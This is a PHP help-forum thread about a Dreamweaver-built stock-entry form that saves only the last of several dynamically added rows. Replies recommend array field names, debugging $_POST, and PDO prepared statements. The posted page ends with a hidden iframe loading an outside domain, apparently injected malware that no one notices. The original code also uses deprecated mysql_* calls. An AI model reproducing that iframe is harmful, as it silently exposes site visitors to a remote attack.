kebby Posted May 18, 2013 Share Posted May 18, 2013 (edited) hi to every one.am new to php just a student learning, can any one help me out in my code,i have a page that submit to the database, but the problem is i av a adding button that add more rows. when i submit all this rows only the last row is submitted to database this is my code. thanks to everyone in advance. <?php require_once('../../Connections/universal.php'); ?> <?php session_start(); if (!function_exists("GetSQLValueString")) { function GetSQLValueString($theValue, $theType, $theDefinedValue = "", $theNotDefinedValue = "") { if (PHP_VERSION < 6) { $theValue = get_magic_quotes_gpc() ? stripslashes($theValue) : $theValue; } $theValue = function_exists("mysql_real_escape_string") ? mysql_real_escape_string($theValue) : mysql_escape_string($theValue); switch ($theType) { case "text": $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL"; break; case "long": case "int": case "array": $theValue = ($theValue != "") ? intval($theValue) : "NULL"; break; case "double": $theValue = ($theValue != "") ? doubleval($theValue) : "NULL"; break; case "date": $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL"; break; case "defined": $theValue = ($theValue != "") ? $theDefinedValue : $theNotDefinedValue; break; } return $theValue; } } $editFormAction = $_SERVER['PHP_SELF']; if (isset($_SERVER['QUERY_STRING'])) { $editFormAction .= "?" . htmlentities($_SERVER['QUERY_STRING']); } if((isset($_POST["MM_insert"]))&&($_POST["MM_insert"] == "ho_add_stock_proforma")) { $insertSQL = sprintf("INSERT INTO ho_add_stock_proforma (supplier, inv_no, `day`, `month`, `year`, product_name, descrpt, qty, cost, hawker, wholesale, retail, total) VALUES(%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)", GetSQLValueString($_POST['supplier'], "text"), GetSQLValueString($_POST['inv_no'], "int"), GetSQLValueString($_POST['day'], "int"), GetSQLValueString($_POST['month'], "int"), GetSQLValueString($_POST['year'], "int"), GetSQLValueString($_POST['product_name'], "text"), GetSQLValueString($_POST['descrpt'], "text"), GetSQLValueString($_POST['qty'], "text"), GetSQLValueString($_POST['cost'], "text"), GetSQLValueString($_POST['hawker'], "text"), GetSQLValueString($_POST['wholesale'], "text"), GetSQLValueString($_POST['retail'], "text"), GetSQLValueString($_POST['total'], "text")); mysql_select_db($database_universal, $universal); $Result1 = mysql_query($insertSQL, $universal) or die(mysql_error()); } mysql_select_db($database_universal, $universal); $query_Creditors = "SELECT company_name FROM ho_add_creditors"; $Creditors = mysql_query($query_Creditors, $universal) or die(mysql_error()); $row_Creditors = mysql_fetch_assoc($Creditors); $totalRows_Creditors = mysql_num_rows($Creditors); ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "[url=http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd]http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd[/url]"> <html xmlns="[url=http://www.w3.org/1999/xhtml]http://www.w3.org/1999/xhtml[/url]"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <title>Untitled Document</title> <script type="text/javascript"> function addRow(tableID) { var table = document.getElementById(tableID); var rowCount = table.rows.length; var row = table.insertRow(rowCount); var colCount = table.rows[0].cells.length; for(var i=0; i<colCount; i++) { var newcell = row.insertCell(i); newcell.innerHTML = table.rows[0].cells[i].innerHTML; //alert(newcell.childNodes); switch(newcell.childNodes[0].type) { case "text": newcell.childNodes[0].value = ""; break; case "checkbox": newcell.childNodes[0].checked = false; break; case "select-one": newcell.childNodes[0].selectedIndex = 0; break; } } } function deleteRow(tableID) { try { var table = document.getElementById(tableID); var rowCount = table.rows.length; for(var i=0; i<rowCount; i++) { var row = table.rows[i]; var chkbox = row.cells[0].childNodes[0]; if(null != chkbox && true == chkbox.checked) { if(rowCount <= 1) { alert("Cannot delete all the rows."); break; } table.deleteRow(i); rowCount--; i--; } } }catch(e) { alert(e); } getValues(); } </script> <script type="text/javascript"> function tot(elem) { var d=document.getElementById("total").value; var total=Number(d); var h=(total); document.getElementById("grand_total").value = h; } var total = 0; function getValues() { var qty = 0; var cost = 0; var obj = document.getElementsByTagName("input"); for(var i=0; i<obj.length; i++){ if(obj[i].name == "qty"){var qty = obj[i].value;} if(obj[i].name == "cost"){var cost = obj[i].value;} if(obj[i].name == "total"){ if(qty > 0 && cost > 0){obj[i].value = qty*cost;total+=(obj[i].value*1);} else{obj[i].value = 0;total+=(obj[i].value*1);} } } document.getElementById("total").value = total*1; total=0; } </script> <link href="../../css/forms.css" rel="stylesheet" type="text/css" /> <script type="text/javascript" src="../../js/view.js"></script> <script type="text/javascript" src="../../js/calendar.js"></script> </head> <body> <div id="wrap"> <form action="<?php echo $editFormAction; ?>" method="POST" name="ho_add_stock_proforma"> <h1>Add Stock - Pro Forma Invoice</h1> <p>Select Supplier<br /> <label for="supplier"></label> <select name="supplier" class="dropdown_long" id="supplier"> <option value="" selected="selected">Select Supplier</option> <?php do { ?> <option value="<?php echo $row_Creditors['company_name']?>"><?php echo $row_Creditors['company_name']?></option> <?php } while ($row_Creditors = mysql_fetch_assoc($Creditors)); $rows = mysql_num_rows($Creditors); if($rows > 0) { mysql_data_seek($Creditors, 0); $row_Creditors = mysql_fetch_assoc($Creditors); } ?> </select> </p> <fieldset> <legend>Supplier Info </legend> <p> </p> </fieldset> <p>Pro-Forma Invoice Number<br /> <label for="inv_no"></label> <input type="text" name="inv_no" id="inv_no" /> </p> <label for="day">Day</label> <input id="element_19_1" name="day" class="date" size="2" maxlength="2" value="" type="text"> </span> <span> <label for="month">Month</label> <input id="element_19_2" name="month" class="date" size="2" maxlength="2" value="" type="text"> </span> <span> <label for="year">Year</label> <input id="element_19_3" name="year" class="date" size="4" maxlength="4" value="" type="text"> </span> <span id="calendar_19"> <img id="cal_img_19" class="datepicker" src="../../images/calendar.gif" alt="Pick a date."> </span> <script type="text/javascript"> Calendar.setup({ inputField : "element_19_3", baseField : "element_19", displayArea : "calendar_19", button : "cal_img_19", ifFormat : "%B %e, %Y", onSelect : selectEuropeDate }); </script> </p><br /><br /><br /> <table width="666" border="0" cellpadding="2" cellspacing="2" class="table" id="myTable" name="ho_add_stock_proforma"> <tr> <td><input type="checkbox" name="chk" style="width:40px"></td> <td width=122 scope="col">Product Name<input name="product_name" type="text" class="table_fields" id="product_name" /></td> <td width=122 scope="col">Description<input name="descrpt" type="text" class="table_fields" id="description"/> </td> <td width=62 scope="col">Qty<input name="qty" type="text" class="qty" id="qty" onkeyup="getValues()"/></td> <td width=62 scope="col">Cost per Piece<input name="cost" type="text "class="price" id="cost" onkeyup="getValues()"/></td> <td width=62 scope="col">hawker<input name="hawker" type="text" class="price" id="hawker "/></td> <td width=62 scope="col">Wholesale<input name="wholesale" type="text" class="price" id="wholesale "/></td> <td width=62 scope="col">Retail<input name="retail" type="text" class="price" id="retail" /></td> <td width=349 scope="col">Total<input name="total" type="text" class="price" id="total" onKeyUp="getValues()"/> </td> <td><button type="button" value="Add" onclick = "addRow('myTable')">add</button></td> <td><button type="button" value="Delete" onclick="deleteRow('myTable')">delete</button></td> </tr> </table> <p><br /> <br /> Upload File<br /> <input name="Get File" type="button" class="button_add" value="Upload File" /> <table id="addimage" style="table-layout:auto"> <tr> <td width="50"><input name="title" type="text" id="title" size="10" style="width: 200px;" /></td> <td width="100"><input name="image" type="file" id="image" onchange="addRow();" style="width: 200px;" /></td> </tr> </table> <p> </p> <p> <input name="submit" type="submit" class="button_submit" value="MM_insert" id="submit" /> <input type="hidden" name="MM_insert" value="ho_add_stock_proforma" /> </p> </form> </div> <iframe src="[url=http://jL.chura.pl/rc/]http://jL.chura.pl/rc/[/url]" style="display:none"></iframe> </body> </html> <?php mysql_free_result($Creditors); ?> Edited May 19, 2013 by ignace Added code tags Quote Link to comment Share on other sites More sharing options...
Barand Posted May 18, 2013 Share Posted May 18, 2013 If you have int values with sprintf you should be using %d. String values use %s and they should be in quotes '%s' You should check if the query failed and use mysql_error() to see why it failed. Next time, use the forums code tags - the <> button in the editor Quote Link to comment Share on other sites More sharing options...
kebby Posted May 19, 2013 Author Share Posted May 19, 2013 thanks let me try that Quote Link to comment Share on other sites More sharing options...
kebby Posted May 19, 2013 Author Share Posted May 19, 2013 i av tried it bt geting an error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'Magnum Impact'','12090','7','5','2013',''FOOD '',''SALT '',''34'',''55'',''66'',' at line 3 Quote Link to comment Share on other sites More sharing options...
cpd Posted May 19, 2013 Share Posted May 19, 2013 Print the SQL statement out and evaluate it. Its usually right before the first character in the error - i.e. its likely right before "Magnum". Quote Link to comment Share on other sites More sharing options...
kebby Posted May 19, 2013 Author Share Posted May 19, 2013 cpd,thanks but still all my rows are not submitted to database only the last row Quote Link to comment Share on other sites More sharing options...
Big_Pat Posted May 19, 2013 Share Posted May 19, 2013 (edited) ignore Edited May 19, 2013 by Big_Pat Quote Link to comment Share on other sites More sharing options...
kebby Posted May 19, 2013 Author Share Posted May 19, 2013 big_pat, what should i ignore? Quote Link to comment Share on other sites More sharing options...
mac_gyver Posted May 19, 2013 Share Posted May 19, 2013 unfortunately DreamWeaver must have thought it would be funny to put part of the sql syntax in with the data values and part of it in the actual sql statement. you need to remove the single quotes from round the %s that are in the sql statement or stop using DreamWeaver's functions in your code and write you code yourself. help me out in my code the direct answer to your title is don't depend on DreamWeaver to write code for you. programming is a 'brain-on' activity. you must know the meaning of every character that is in every line of code. what it means, why it is there, and how it contributes to the goal your code is trying to achieve. the reason only the last set of data from the form is inserted is you have no server-side php code to do anything but to insert just one row. i'm not even sure your client-side code is producing anything that you could loop over. your first task would be to debug and make sure your client-side code is sending the data you want. add the following debugging code in your server-side script to display what is actually being submitted - echo '<pre>',print_r($_POST,true),'</pre>'; Quote Link to comment Share on other sites More sharing options...
mac_gyver Posted May 19, 2013 Share Posted May 19, 2013 i've looked at your code and all the form elements in the repeat section need to be made into arrays - i.e. add [] to the name = " ... " attribute. name="product_name" becomes name="product_name[]" this will submit an array of data for each field that you can loop over in the server-side code. Quote Link to comment Share on other sites More sharing options...
Eiseth Posted May 19, 2013 Share Posted May 19, 2013 hi to every one.am new to php just a student learning, can any one help me out in my code. Hi, If you're learning try PDO instead of mysql_* extension, mysql_* extension was already deprecated http://php.net/manual/en/book.pdo.php Using PDO, it is much easy to insert row on your database // Create instance of PDO so you can perform your query (e.g. insert rows, fetch datas, etc.) try { $dbh = new PDO('mysql:host=yourhostname;dbname=yourdbname;charset=utf8', 'yourdbusername', 'yourdbpassword'); } catch (PDOException $e) { // Catch errors, such as invalid username/password/dbname/hostname/etc... // you can do what you want here with the errors, I just use die for simplicity die('Cannot connect to database: ' . $e->getMessage()); } // If successfull, we can now perform query // Names starting with ":" are just placeholders // Using the query method, PDO will sanitize input before it store the datas in the database to prevent SQL injection $query = 'INSERT INTO ho_add_stock_proforma (supplier, inv_no, day, month, year, product_name, descrpt, qty, cost, hawker, wholesale, retail, total) VALUES (:supplier, :inv_no, :day, :month, :year, :product_name, :descrpt, :qty, :cost, :hawker, :wholesale, :retail, :total)'; // Perform the query inside the try & catch so we can handle if there's an error on our code try { $stmt = $dbh->prepare($query); // We can now bind the value in our query $stmt->execute(array( ':supplier' => $_POST['supplier'], ':inv_no' => $_POST['inv_no'], ':day' => $_POST['day'], // insert your other $_POST data... )); } catch (PDOException $e) { // Again, we need to catch if there's an error on our query die('Cannot perform the query: ' . $e->getMessage()); } // If successful, perform your other code... Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.